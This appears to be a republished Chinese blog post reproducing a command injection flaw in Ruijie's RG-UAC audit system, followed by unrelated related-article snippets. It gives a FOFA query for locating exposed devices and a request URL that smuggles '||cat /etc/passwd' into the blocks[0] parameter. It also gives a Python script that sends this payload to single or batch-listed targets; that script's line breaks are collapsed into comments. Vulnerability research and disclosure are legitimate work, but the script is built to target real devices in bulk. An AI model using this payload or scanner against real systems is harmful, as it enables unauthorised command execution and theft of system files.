【漏洞復現】銳捷統一上網行為管理與審計系統——遠程命令執行漏洞

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

銳捷統一上網行為管理與審計系統naborTable/static_convert.php接口存在遠程命令執行漏洞,導致惡意攻擊者可以執行命令獲取對服務器的遠程訪問權限或者破壞系統,對服務器造成極大的安全隱患。

漏洞復現

1)fofa搜索:
title="RG-UAC登錄頁面"

在這里插入圖片描述

隨機選擇幸運觀眾~

在這里插入圖片描述
構造url:
xxx.xxx.xxx/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd

測試工具

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入所需的模塊
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning# 定義紅色和重置顏色的ANSI轉義序列,用于終端輸出高亮顯示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定義一個函數用于檢查URL是否存在特定漏洞
def check_vulnerability(url):try:# 構造攻擊URL,嘗試利用naborTable命令執行漏洞attack_url = url.rstrip('/') + "/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd"# 發送GET請求,不驗證SSL證書,設置超時為10秒response = requests.get(attack_url, verify=False, timeout=10)# 檢查響應狀態碼和響應內容,判斷是否存在漏洞if response.status_code == 200 and 'root' in response.text:print(f"{RED}URL [{url}] 可能存在銳捷統一上網行為管理與審計系統naborTable命令執行漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.RequestException as e:# 打印請求過程中的異常信息print(f"URL [{url}] 請求失敗: {e}")# 定義主函數,解析命令行參數并執行檢測
def main():# 創建解析器,添加描述和參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在銳捷統一上網行為管理與審計系統naborTable命令執行漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果提供了URL參數,則檢查該URLif args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果提供了文件參數,則從文件中讀取URL列表進行檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not args.url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 程序入口點
if __name__ == '__main__':main()

過程截圖:
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/36694.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/36694.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/36694.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何應對瀏覽器提示的“存在不安全腳本”問題

哈嘍呀,大家好,淼淼又來和大家見面啦,咱們在互聯網瀏覽過程中,您或許會遇到瀏覽器彈出的安全警告,提示頁面中包含“不安全腳本”。這樣的信息往往讓人心生警惕,擔心自己的隱私和數據安全受到威脅。本文將為…

Linux系統編程(七)進程間通信IPC

進程間通訊的7種方式_進程間通信的幾種方法-CSDN博客 管道 pipe(命名管道和匿名管道);信號 signal;共享內存;消息隊列;信號量 semaphore;套接字 socket; 1. 管道 內核提供&#x…

Hive基礎知識(二十三):數據傾斜優化

絕大部分任務都很快完成,只有一個或者少數幾個任務執行的很慢甚至最終執行失敗, 這樣的現象為數據傾斜現象。 一定要和數據過量導致的現象區分開,數據過量的表現為所有任務都執行的很慢,這個 時候只有提高執行資源才可以優化 HQL…

Arduino平臺軟硬件原理及使用——SR04超聲波傳感器的使用

文章目錄: 一、超聲波傳感器工作原理 二、SR04超聲波庫的使用 三、SR04超聲波傳感器在Arduino中的使用 一、超聲波傳感器工作原理 如上圖所示:HCSR04超聲波傳感器擁有4個針腳,除了VCC接正極、GND接負極外,還有兩個引腳“Trig”及“…

Linux線程互斥鎖

目錄 🚩看現象,說原因 🚩解決方案 🚩互斥鎖 🚀關于互斥鎖的理解 🚀關于原子性的理解 🚀如何理解加鎖和解鎖是原子的 🚩對互斥鎖的簡單封裝 引言 大家有任何疑問,可…

【Android面試八股文】如何實現Activity窗口快速變暗

文章目錄 方式一:修改 WindowManager.LayoutParams 的screenBrightness屬性動態調整窗口的亮度方式二:使用 `WindowManager.LayoutParams` 的 `alpha` 屬性結合 `ValueAnimator` 來實現窗口漸變變暗的效果方式三:使用遮罩層在Android中實現Activity窗口快速變暗有幾種方法,…

CCSP自考攻略+經驗總結

備考攻略 備考攻略準備階段通讀階段精度階段總復習階段刷題階段命運審判 寫到最后 備考攻略 趁著對ssp知識點的理解還在,開始ccsp的考證之路,文章結構還是按照cissp備考篇的結構梳理。本次備考和cissp的離職在家備考不同,ccsp是在職利用非工…

如何用亞馬遜合作伙伴網絡快速上線跨境電商

目前跨境電商已成為行業發展主流,如何快速、低成本打造品牌海外獨立站和智能客服營銷中心、構建全鏈路跨境電商體系是出海電商商家都會遇到的難題。亞馬遜云科技憑借與亞馬遜電商平臺易于集成的先天優勢成為首選的電商解決方案平臺。本文介紹了如何用亞馬遜云科技平…

Elasticsearch8.x聚合查詢全面指南:從理論到實戰

聚合查詢的概念 聚合查詢(Aggregation Queries)是Elasticsearch中用于數據匯總和分析的查詢類型。它不同于普通的查詢,而是用于執行各種聚合操作,如計數、求和、平均值、最小值、最大值、分組等。 聚合查詢的分類 分桶聚合&…

centos7 安裝單機MongoDB

centos7安裝單機 yum 安裝 1、配置yum源 vim /etc/yum.repos.d/mongodb.repo [mongodb-org-7.0] nameMongoDB Repository baseurlhttps://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/7.0/x86_64/ gpgcheck1 enabled1 gpgkeyhttps://www.mongodb.org/static/pgp…

【監控】3.配置 Grafana 以使用 Prometheus 數據源

1 訪問 Grafana 打開瀏覽器,訪問 http://localhost:3000(默認端口)。使用默認的用戶名和密碼 admin/admin 登錄。 2 添加 Prometheus 數據源 進入 Grafana 儀表板,點擊左側菜單中的“Configuration” -> “Data Sources”。…

未來已來,如何打造智慧養殖場?

近年來,國家出臺了一系列扶持政策,以促進養殖行業高質量發展,推動行業轉型升級。在國家政策和市場需求的雙重驅動下,養殖行業正迎來前所未有的發展機遇。智慧養殖以其高效、智能和可持續的特點,正逐步取代傳統養殖方式…

6.26.4.1 基于交叉視角變換的未配準醫學圖像多視角分析

1. 介紹 許多醫學成像任務使用來自多個視圖或模式的數據,但很難有效地將這些數據結合起來。雖然多模態圖像通常可以在神經網絡中作為多個輸入通道進行配準和處理,但來自不同視圖的圖像可能難以正確配準(例如,[2])。因此,大多數多視…

電影搜索筆記

1 字幕組 2 磁力搜索 2.1 磁力大全 http://7809.org/cldq.html

吳恩達2022機器學習專項課程C2W3:2.27 選修_數據傾斜

目錄 處理不平衡數據集1.分類需求描述2.計算精確率和召回率 權衡精確率和召喚率1.手動調整閾值2.F1分數 總結 處理不平衡數據集 1.分類需求描述 如果你在處理一個機器學習應用,其中正例和負例的比例(用于解決分類問題)非常不平衡&#xff0…

多域名微信公眾號獲取授權(前后端分離,后端獲取微信用戶openid)

1.通過后端站點http://b.cn 跳轉至前端鏈接 http://aa.cn/v1/demo/demo public function index(){$identinput(ident);$this->redirect(http://aa.cn/?ident.$ident);}2.前端http://aa.cn 再跳轉到后端 https://c.com(此域名綁定微信公眾號:需備案) onShow() {console.lo…

數據庫怎么同步

數據庫要怎么同步呢,有很多方法,看你用什么數據庫,如果是Sqlserver,你要數據庫同步,那么可以使用自帶的訂閱發布,訂閱發布應該是不錯的方法,但是我上次要配置雙向同步,它的對等發布好像沒部署成…

Ansible-綜合練習-生產案例

斌的招兒 網上教程大多都是官網模板化的教程和文檔,這里小斌用自己實際生產環境使用的例子給大家做一個詳解。涉及到一整套ansible的使用,對于roles的使用,也僅涉及到tasks和files目錄,方便大家快速上手并規范化管理。 0.環境配置…

想關掉一個qwidget是用deleteLater還是用close

在Qt中關閉一個QWidget可以選擇使用close()或者deleteLater()兩種方法,根據具體需求,兩者有不同的適用場景: close()方法: close()會觸發QWidget的closeEvent,也就是說,它會產生一個關閉事件,可…